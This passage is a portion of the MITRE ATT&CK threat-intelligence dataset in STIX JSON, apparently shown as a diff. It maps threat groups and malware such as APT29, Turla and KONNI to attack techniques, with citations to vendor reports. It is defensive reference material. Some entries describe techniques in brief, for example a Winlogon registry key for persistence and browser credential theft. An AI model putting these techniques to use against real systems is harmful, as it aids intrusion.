"https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2018/03/08080105/KL_Epic_Turla_Technical_Appendix_20140806.pdf" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--514ede4c-78b3-4d78-a38b-daddf6217a79", + "description": "[Tropic Trooper](https://attack.mitre.org/groups/G0081) creates the Registry key HKCU\\Software\\Microsoft\\Windows NT\\CurrentVersion\\Winlogon\\Shell and sets the value to establish persistence.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-01-29T20:17:49.278Z", + "id": "relationship--ad3bca07-c2d2-411f-9bd8-bf4e1142d9ae", + "source_ref": "intrusion-set--56319646-eb6e-41fc-ae53-aadfa7adb924", + "modified": "2019-06-30T22:44:28.212Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "source_name": "Unit 42 Tropic Trooper Nov 2016", + "description": "Ray, V. (2016, November 22). Tropic Trooper Targets Taiwanese Government and Fossil Fuel Provider With Poison Ivy. Retrieved November 9, 2018.", + "url": "https://researchcenter.paloaltonetworks.com/2016/11/unit42-tropic-trooper-targets-taiwanese-government-and-fossil-fuel-provider-with-poison-ivy/" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--d742a578-d70e-4d0e-96a6-02a9c30204e6", + "description": "[APT38](https://attack.mitre.org/groups/G0082) has conducted watering holes schemes to gain initial access to victims.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-01-29T21:27:25.332Z", + "id": "relationship--2d27c0d9-7e8e-4713-b3e1-0d82db27ac9a", + "source_ref": "intrusion-set--00f67a77-86a4-4adf-be26-1a54fc713340", + "modified": "2019-09-09T19:10:53.371Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "FireEye. (2018, October 03). APT38: Un-usual Suspects. Retrieved November 6, 2018.", + "source_name": "FireEye APT38 Oct 2018", + "url": "https://content.fireeye.com/apt/rpt-apt38" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--b9f5dbe2-4c55-4fc5-af2e-d42c1d182ec4", + "description": "[Micropsia](https://attack.mitre.org/software/S0339) creates a RAR archive based on collected files on the victim's machine.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-01-29T21:47:53.635Z", + "id": "relationship--96d8b8bb-3bdc-481e-a554-41790acac66a", + "source_ref": "malware--8c050cea-86e1-4b63-bf21-7af4fa483349", + "modified": "2019-04-17T22:05:05.883Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Tsarfaty, Y. (2018, July 25). Micropsia Malware. Retrieved November 13, 2018.", + "source_name": "Radware Micropsia July 2018", + "url": "https://blog.radware.com/security/2018/07/micropsia-malware/" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--354a7f88-63fb-41b5-a801-ce3b377b36f1", + "description": "[Octopus](https://attack.mitre.org/software/S0340) collects system drive information, the computer name, and the size of the disk.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-01-30T13:24:09.072Z", + "id": "relationship--75a1f636-76d3-4029-ae40-0a7a3b8d7eba", + "source_ref": "malware--e2031fd5-02c2-43d4-85e2-b64f474530c2", + "modified": "2019-01-30T13:24:09.072Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Kaspersky Lab's Global Research & Analysis Team. (2018, October 15). Octopus-infested seas of Central Asia. Retrieved November 14, 2018.", + "source_name": "Securelist Octopus Oct 2018", + "url": "https://securelist.com/octopus-infested-seas-of-central-asia/88200/" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--6ff403bc-93e3-48be-8687-e102fdba8c88", + "description": "[GreyEnergy](https://attack.mitre.org/software/S0342) is packed for obfuscation.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-01-30T13:53:14.917Z", + "id": "relationship--c63696bf-8b36-4366-9c3f-7a2d0053c481", + "source_ref": "malware--308b3d68-a084-4dfb-885a-3125e1a9c1e8", + "modified": "2019-04-17T22:22:21.969Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Cherepanov, A. (2018, October). GREYENERGY A successor to BlackEnergy. Retrieved November 15, 2018.", + "source_name": "ESET GreyEnergy Oct 2018", + "url": "https://www.welivesecurity.com/wp-content/uploads/2018/10/ESET_GreyEnergy.pdf" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--62b8c999-dcc0-4755-bd69-09442d9359f5", + "description": "[APT29](https://attack.mitre.org/groups/G0016) has used rundll32.exe for execution.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-01-30T14:19:17.694Z", + "id": "relationship--bbd100ee-cc67-43f3-bc56-d02ee50e689d", + "source_ref": "intrusion-set--899ce53f-13a0-479b-a0e4-67d46e241542", + "modified": "2019-07-25T14:25:53.298Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Dunwoody, M., et al. (2018, November 19). Not So Cozy: An Uncomfortable Examination of a Suspected APT29 Phishing Campaign. Retrieved November 27, 2018.", + "source_name": "FireEye APT29 Nov 2018", + "url": "https://www.fireeye.com/blog/threat-research/2018/11/not-so-cozy-an-uncomfortable-examination-of-a-suspected-apt29-phishing-campaign.html" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--8f4a33ec-8b1f-4b80-a2f6-642b2e479580", + "description": "[Azorult](https://attack.mitre.org/software/S0344) can collect a list of running processes by calling CreateToolhelp32Snapshot.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-01-30T15:19:14.994Z", + "id": "relationship--f503ea13-d045-4246-9674-a73f7e52ea85", + "source_ref": "malware--f9b05f33-d45d-4e4d-aafe-c208d38a0080", + "modified": "2019-07-26T23:22:28.296Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "source_name": "Unit42 Azorult Nov 2018", + "description": "Yan, T., et al. (2018, November 21). New Wine in Old Bottle: New Azorult Variant Found in FindMyName Campaign using Fallout Exploit Kit. Retrieved November 29, 2018.", + "url": "https://researchcenter.paloaltonetworks.com/2018/11/unit42-new-wine-old-bottle-new-azorult-variant-found-findmyname-campaign-using-fallout-exploit-kit/" + }, + { + "source_name": "Proofpoint Azorult July 2018", + "description": "Proofpoint. (2018, July 30). New version of AZORult stealer improves loading features, spreads alongside ransomware in new campaign. Retrieved November 29, 2018.", + "url": "https://www.proofpoint.com/us/threat-insight/post/new-version-azorult-stealer-improves-loading-features-spreads-alongside" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "tool--ff6caf67-ea1f-4895-b80e-4bb0fc31c6db", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-01-30T15:33:07.907Z", + "id": "relationship--2d0afb20-dfbd-4f6b-bd75-ee67d8eeb8c6", + "source_ref": "intrusion-set--6a2e693f-24e5-451a-9f88-b36a108e5662", + "modified": "2019-08-20T13:08:13.449Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Mandiant. (n.d.). APT1 Exposing One of China\u2019s Cyber Espionage Units. Retrieved July 18, 2016.", + "source_name": "Mandiant APT1", + "url": "https://www.fireeye.com/content/dam/fireeye-www/services/pdfs/mandiant-apt1-report.pdf" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--7bc57495-ea59-4380-be31-a64af124ef18", + "description": "[AuditCred](https://attack.mitre.org/software/S0347) can search through folders and files on the system.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-01-30T15:47:41.421Z", + "id": "relationship--227abd66-91cc-436e-aad8-c1fb82691357", + "source_ref": "malware--24b4ce59-eaac-4c8b-8634-9b093b7ccd92", + "modified": "2019-01-30T15:47:41.421Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Trend Micro. (2018, November 20). Lazarus Continues Heists, Mounts Attacks on Financial Organizations in Latin America. Retrieved December 3, 2018.", + "source_name": "TrendMicro Lazarus Nov 2018", + "url": "https://blog.trendmicro.com/trendlabs-security-intelligence/lazarus-continues-heists-mounts-attacks-on-financial-organizations-in-latin-america/" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--8c32eb4d-805f-4fc5-bf60-c4d476c131b5", + "description": "[Cardinal RAT](https://attack.mitre.org/software/S0348) lures victims into executing malicious macros embedded within Microsoft Excel documents.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-01-30T16:39:54.538Z", + "id": "relationship--7571e0ac-281a-495b-bc7a-9cffd7dfc09f", + "source_ref": "malware--b879758f-bbc4-4cab-b5ba-177ac9b009b4", + "modified": "2019-06-10T18:25:51.600Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "source_name": "PaloAlto CardinalRat Apr 2017", + "description": "Grunzweig, J.. (2017, April 20). Cardinal RAT Active for Over Two Years. Retrieved December 8, 2018.", + "url": "https://researchcenter.paloaltonetworks.com/2017/04/unit42-cardinal-rat-active-two-years/" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--241814ae-de3f-4656-b49e-f9a80764d4b7", + "description": "[MuddyWater](https://attack.mitre.org/groups/G0069) has used malware to check running processes against a hard-coded list of security tools often used by malware researchers.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-01-30T17:33:41.091Z", + "id": "relationship--6bed87bb-2cb9-48a8-a23d-31ed8285c61f", + "source_ref": "intrusion-set--269e8108-68c6-4f99-b911-14b2e765dec2", + "modified": "2019-06-28T15:30:58.764Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "source_name": "Securelist MuddyWater Oct 2018", + "description": "Kaspersky Lab's Global Research & Analysis Team. (2018, October 10). MuddyWater expands operations. Retrieved November 2, 2018.", + "url": "https://securelist.com/muddywater/88059/" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--51dea151-0898-4a45-967c-3ebee0420484", + "description": "[zwShell](https://attack.mitre.org/software/S0350) has used RDP for lateral movement.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-01-30T17:48:35.714Z", + "id": "relationship--1d37f088-123f-41bb-9367-a1696dbfe895", + "source_ref": "malware--54e8672d-5338-4ad1-954a-a7c986bee530", + "modified": "2019-01-30T17:48:35.714Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "source_name": "McAfee Night Dragon", + "description": "McAfee\u00ae Foundstone\u00ae Professional Services and McAfee Labs\u2122. (2011, February 10). Global Energy Cyberattacks: \u201cNight Dragon\u201d. Retrieved February 19, 2018.", + "url": "https://securingtomorrow.mcafee.com/wp-content/uploads/2011/02/McAfee_NightDragon_wp_draft_to_customersv1-1.pdf" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "malware--5be33fef-39c0-4532-84ee-bea31e1b5324", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2018-01-16T16:13:52.465Z", + "id": "relationship--00c88cab-5cb9-492a-8dce-8eab92213bc3", + "source_ref": "intrusion-set--4ca1929c-7d64-4aab-b849-badbfc0c760d", + "modified": "2019-09-04T22:55:41.899Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "source_name": "OilRig New Delivery Oct 2017", + "description": "Falcone, R. and Lee, B. (2017, October 9). OilRig Group Steps Up Attacks with New Delivery Documents and New Injector Trojan. Retrieved January 8, 2018.", + "url": "https://researchcenter.paloaltonetworks.com/2017/10/unit42-oilrig-group-steps-attacks-new-delivery-documents-new-injector-trojan/" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--66f73398-8394-4711-85e5-34c8540b22a5", + "description": "[Zebrocy](https://attack.mitre.org/software/S0251) installs an application-defined Windows hook to get notified when a network drive has been attached, so it can then use the hook to call its RecordToFile file stealing method.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-01-30T18:39:48.418Z", + "id": "relationship--4f550078-32b1-4abb-aa90-0e9fb7cc45f9", + "source_ref": "malware--a4f57468-fbd5-49e4-8476-52088220b92d", + "modified": "2019-07-17T01:18:32.713Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Kaspersky Lab's Global Research & Analysis Team. (2018, February 20). A Slice of 2017 Sofacy Activity. Retrieved November 27, 2018.", + "source_name": "Securelist Sofacy Feb 2018", + "url": "https://securelist.com/a-slice-of-2017-sofacy-activity/83930/" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--7dd95ff6-712e-4056-9626-312ea4ab4c5e", + "description": "Data captured by [RawPOS](https://attack.mitre.org/software/S0169) is placed in a temporary file under a directory named \"memdump\".", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2018-01-16T16:13:52.465Z", + "id": "relationship--b25f5d90-f6cc-47e9-89f1-5527886bf536", + "source_ref": "malware--9752aef4-a1f3-4328-929f-b64eb0536090", + "modified": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Nesbit, B. and Ackerman, D. (2017, January). Malware Analysis Report - RawPOS Malware: Deconstructing an Intruder\u2019s Toolkit. Retrieved October 4, 2017.", + "source_name": "Kroll RawPOS Jan 2017", + "url": "http://www.kroll.com/CMSPages/GetAzureFile.aspx?path=~%5Cmedia%5Cfiles%5Cintelligence-center%5Ckroll_malware-analysis-report.pdf&hash=d5b5d2697118f30374b954f28a08c0ba69836c0ffd99566aa7ec62d1fc72b105" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--e99ec083-abdd-48de-ad87-4dbf6f8ba2a4", + "description": "[OSX_OCEANLOTUS.D](https://attack.mitre.org/software/S0352) can create a persistence file in the folder /Library/LaunchDaemons.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-01-30T19:18:20.170Z", + "id": "relationship--75a7d2f6-fa2c-499c-8e4f-f8d1d2735173", + "source_ref": "malware--b00f90b6-c75c-4bfd-b813-ca9e6c9ebf29", + "modified": "2019-09-26T16:22:41.972Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Horejsi, J. (2018, April 04). New MacOS Backdoor Linked to OceanLotus Found. Retrieved November 13, 2018.", + "source_name": "TrendMicro MacOS April 2018", + "url": "https://blog.trendmicro.com/trendlabs-security-intelligence/new-macos-backdoor-linked-to-oceanlotus-found/" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--b3d682b6-98f2-4fb0-aa3b-b4df007ca70a", + "description": "A [Volgmer](https://attack.mitre.org/software/S0180) variant is encoded using a simple XOR cipher.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2018-10-17T00:14:20.652Z", + "id": "relationship--e5d5ca1f-1e8e-4870-a9ef-33a963ee6148", + "source_ref": "malware--495b6cdb-7b5a-4fbc-8d33-e7ef68806d08", + "modified": "2019-10-15T22:51:03.066Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "US-CERT. (2017, November 01). Malware Analysis Report (MAR) - 10135536-D. Retrieved July 16, 2018.", + "source_name": "US-CERT Volgmer 2 Nov 2017", + "url": "https://www.us-cert.gov/sites/default/files/publications/MAR-10135536-D_WHITE_S508C.PDF" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--56fca983-1cf1-4fd1-bda0-5e170a37ab59", + "description": "[Denis](https://attack.mitre.org/software/S0354) has a command to delete files from the victim\u2019s machine.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-01-30T20:01:45.509Z", + "id": "relationship--0439c736-6a78-4e89-9c55-6cc565b1b11f", + "source_ref": "malware--f25aab1a-0cef-4910-a85d-bb38b32ea41a", + "modified": "2019-04-24T20:56:04.676Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Dahan, A. (2017, May 24). OPERATION COBALT KITTY: A LARGE-SCALE APT IN ASIA CARRIED OUT BY THE OCEANLOTUS GROUP. Retrieved November 5, 2018.", + "source_name": "Cybereason Oceanlotus May 2017", + "url": "https://www.cybereason.com/blog/operation-cobalt-kitty-apt" + }, + { + "description": "Dahan, A. (2017). Operation Cobalt Kitty. Retrieved December 27, 2018.", + "source_name": "Cybereason Cobalt Kitty 2017", + "url": "https://cdn2.hubspot.net/hubfs/3354902/Cybereason%20Labs%20Analysis%20Operation%20Cobalt%20Kitty.pdf" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--354a7f88-63fb-41b5-a801-ce3b377b36f1", + "description": "[Hydraq](https://attack.mitre.org/software/S0203) creates a backdoor through which remote attackers can retrieve information such as computer name, OS version, processor speed, memory size, and CPU speed.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2018-04-18T17:59:24.739Z", + "id": "relationship--4be87979-faf9-4a7a-998a-d1aa3fbf5a80", + "source_ref": "malware--73a4793a-ce55-4159-b2a6-208ef29b326f", + "modified": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Lelli, A. (2010, January 11). Trojan.Hydraq. Retrieved February 20, 2018.", + "source_name": "Symantec Hydraq Jan 2010", + "url": "https://www.symantec.com/security_response/writeup.jsp?docid=2010-011114-1830-99" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--478aa214-2ca7-4ec0-9978-18798e514790", + "description": "[Emissary](https://attack.mitre.org/software/S0082) is capable of configuring itself as a service.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2017-12-14T16:46:06.044Z", + "id": "relationship--ea6289bb-c974-4e4c-bdc4-1c3211a6d1d4", + "source_ref": "malware--0f862b01-99da-47cc-9bdb-db4a86a95bb1", + "modified": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Falcone, R. and Miller-Osborn, J.. (2016, February 3). Emissary Trojan Changelog: Did Operation Lotus Blossom Cause It to Evolve?. Retrieved February 15, 2016.", + "source_name": "Emissary Trojan Feb 2016", + "url": "http://researchcenter.paloaltonetworks.com/2016/02/emissary-trojan-changelog-did-operation-lotus-blossom-cause-it-to-evolve/" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--4579d9c9-d5b9-45e0-9848-0104637b579f", + "description": "[KONNI](https://attack.mitre.org/software/S0356) can steal profiles (containing credential information) from Firefox, Chrome, and Opera.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-01-31T00:36:41.043Z", + "id": "relationship--29403801-cdba-4de9-9b9c-c1295b9eccf6", + "source_ref": "malware--86b92f6c-9c05-4c51-b361-4c7bb13e21a1", + "modified": "2019-07-26T18:47:19.014Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "source_name": "Talos Konni May 2017", + "description": "Rascagneres, P. (2017, May 03). KONNI: A Malware Under The Radar For Years. Retrieved November 5, 2018.", + "url": "https://blog.talosintelligence.com/2017/05/konni-malware-under-radar-for-years.html" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--f72eb8a8-cd4c-461d-a814-3f862befbf00", + "description": "If [NETEAGLE](https://attack.mitre.org/software/S0034) does not detect a proxy configured on the infected machine, it will send beacons via UDP/6000. Also, after retrieving a C2 IP address and Port Number, [NETEAGLE](https://attack.mitre.org/software/S0034) will initiate a TCP connection to this socket. The ensuing connection is a plaintext C2 channel in which commands are specified by DWORDs.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2018-10-17T00:14:20.652Z", + "id": "relationship--bba2851c-7be2-4204-b737-77dda7d57a98", + "source_ref": "malware--53cf6cc4-65aa-445a-bcf8-c3d296f8a7a2", + "modified": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "FireEye Labs. (2015, April). APT30 AND THE MECHANICS OF A LONG-RUNNING CYBER ESPIONAGE OPERATION. Retrieved May 1, 2015.", + "source_name": "FireEye APT30", + "url": "https://www2.fireeye.com/rs/fireye/images/rpt-apt30.pdf" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "tool--30489451-5886-4c46-90c9-0dff9adc5252", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-01-31T01:07:58.805Z", + "id": "relationship--c9660ab0-33d4-434d-833f-cc1969b04f7a", + "source_ref": "intrusion-set--247cb30b-955f-42eb-97a5-a89fef69341e", + "modified": "2019-07-17T13:11:38.961Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "source_name": "Cybereason Cobalt Kitty 2017", + "description": "Dahan, A. (2017). Operation Cobalt Kitty. Retrieved December 27, 2018.", + "url": "https://cdn2.hubspot.net/hubfs/3354902/Cybereason%20Labs%20Analysis%20Operation%20Cobalt%20Kitty.pdf" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--f792d02f-813d-402b-86a5-ab98cb391d3b", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2017-05-31T21:33:27.030Z", + "id": "relationship--0ac55ad4-0f16-416e-bf88-67ee1aad85ab", + "source_ref": "course-of-action--ec418d1b-4963-439f-b055-f914737ef362", + "modified": "2019-07-31T18:11:14.340Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "relationship_type": "mitigates" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--241814ae-de3f-4656-b49e-f9a80764d4b7", + "description": "[Mosquito](https://attack.mitre.org/software/S0256)'s installer searches the Registry and system to see if specific antivirus tools are installed on the system.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2018-10-17T00:14:20.652Z", + "id": "relationship--481c0cee-c977-430f-9f33-e5859b48be39", + "source_ref": "malware--92b55426-109f-4d93-899f-1833ce91ff90", + "modified": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "ESET, et al. (2018, January). Diplomats in Eastern Europe bitten by a Turla mosquito. Retrieved July 3, 2018.", + "source_name": "ESET Turla Mosquito Jan 2018", + "url": "https://www.welivesecurity.com/wp-content/uploads/2018/01/ESET_Turla_Mosquito.pdf" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--f44731de-ea9f-406d-9b83-30ecbb9b4392", + "description": "[Cobalt Strike](https://attack.mitre.org/software/S0154) can use [PsExec](https://attack.mitre.org/software/S0029) to execute a payload on a remote host. It can also use Service Control Manager to start new services.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2017-12-14T16:46:06.044Z", + "id": "relationship--d26a9de1-0ec7-41dd-94fe-21a51bedf37f", + "source_ref": "tool--aafea02e-ece5-4bb2-91a6-3bf8c7f38a39", + "modified": "2019-06-06T19:04:39.469Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "source_name": "cobaltstrike manual", + "description": "Strategic Cyber LLC. (2017, March 14). Cobalt Strike Manual. Retrieved May 24, 2017.", + "url": "https://cobaltstrike.com/downloads/csmanual38.pdf" + }, + { + "source_name": "Cobalt Strike TTPs Dec 2017", + "description": "Cobalt Strike. (2017, December 8). Tactics, Techniques, and Procedures. Retrieved December 20, 2017.", + "url": "https://www.cobaltstrike.com/downloads/reports/tacticstechniquesandprocedures.pdf" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--7dd95ff6-712e-4056-9626-312ea4ab4c5e", + "description": "[Trojan.Karagany](https://attack.mitre.org/software/S0094) can create a directory (C:\\ProgramData\\Mail\\MailAg\\gl) to use as a temporary directory for uploading files.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2017-12-14T16:46:06.044Z", + "id": "relationship--7cf7d162-a34f-4951-a643-5bf959283f6b", + "source_ref": "malware--82cb34ba-02b5-432b-b2d2-07f55cbf674d", + "modified": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Symantec Security Response. (2014, July 7). Dragonfly: Cyberespionage Attacks Against Energy Suppliers. Retrieved April 8, 2016.", + "source_name": "Symantec Dragonfly", + "url": "http://www.symantec.com/content/en/us/enterprise/media/security_response/whitepapers/Dragonfly_Threat_Against_Western_Energy_Suppliers.pdf" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--3ccef7ae-cb5e-48f6-8302-897105fbf55c", + "description": "[Kwampirs](https://attack.mitre.org/software/S0236) decrypts and extracts a copy of its main DLL payload when executing.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2018-10-17T00:14:20.652Z", + "id": "relationship--2d822996-4574-402d-8d0f-1cfc0e963850", + "source_ref": "malware--c2417bab-3189-4d4d-9d60-96de2cdaf0ab", + "modified": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Symantec Security Response Attack Investigation Team. (2018, April 23). New Orangeworm attack group targets the healthcare sector in the U.S., Europe, and Asia. Retrieved May 8, 2018.", + "source_name": "Symantec Orangeworm April 2018", + "url": "https://www.symantec.com/blogs/threat-intelligence/orangeworm-targets-healthcare-us-europe-asia" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--e6919abc-99f9-4c6c-95a5-14761e7b2add", + "description": "[Emissary](https://attack.mitre.org/software/S0082) has the capability to download files from the C2 server.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2017-12-14T16:46:06.044Z", + "id": "relationship--85ca1e00-24c4-403e-8aff-9890f91e9b78", + "source_ref": "malware--0f862b01-99da-47cc-9bdb-db4a86a95bb1", + "modified": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Falcone, R. and Miller-Osborn, J.. (2015, December 18). Attack on French Diplomat Linked to Operation Lotus Blossom. Retrieved February 15, 2016.", + "source_name": "Lotus Blossom Dec 2015", + "url": "http://researchcenter.paloaltonetworks.com/2015/12/attack-on-french-diplomat-linked-to-operation-lotus-blossom/" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "tool--5a63f900-5e7e-4928-a746-dd4558e1df71", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2017-05-31T21:33:27.055Z", + "id": "relationship--437dd20a-234f-430b-b9ee-4524e1e12aa9", + "source_ref": "intrusion-set--2a158b0a-7ef8-43cb-9985-bf34d1e12050", + "modified": "2019-04-10T15:59:09.413Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "source_name": "Baumgartner Naikon 2015", + "description": "Baumgartner, K., Golovkin, M.. (2015, May). The MsnMM Campaigns: The Earliest Naikon APT Campaigns. Retrieved April 10, 2019.", + "url": "https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2018/03/07205555/TheNaikonAPT-MsnMM1.pdf" + } + ], + "relationship_type": "uses" 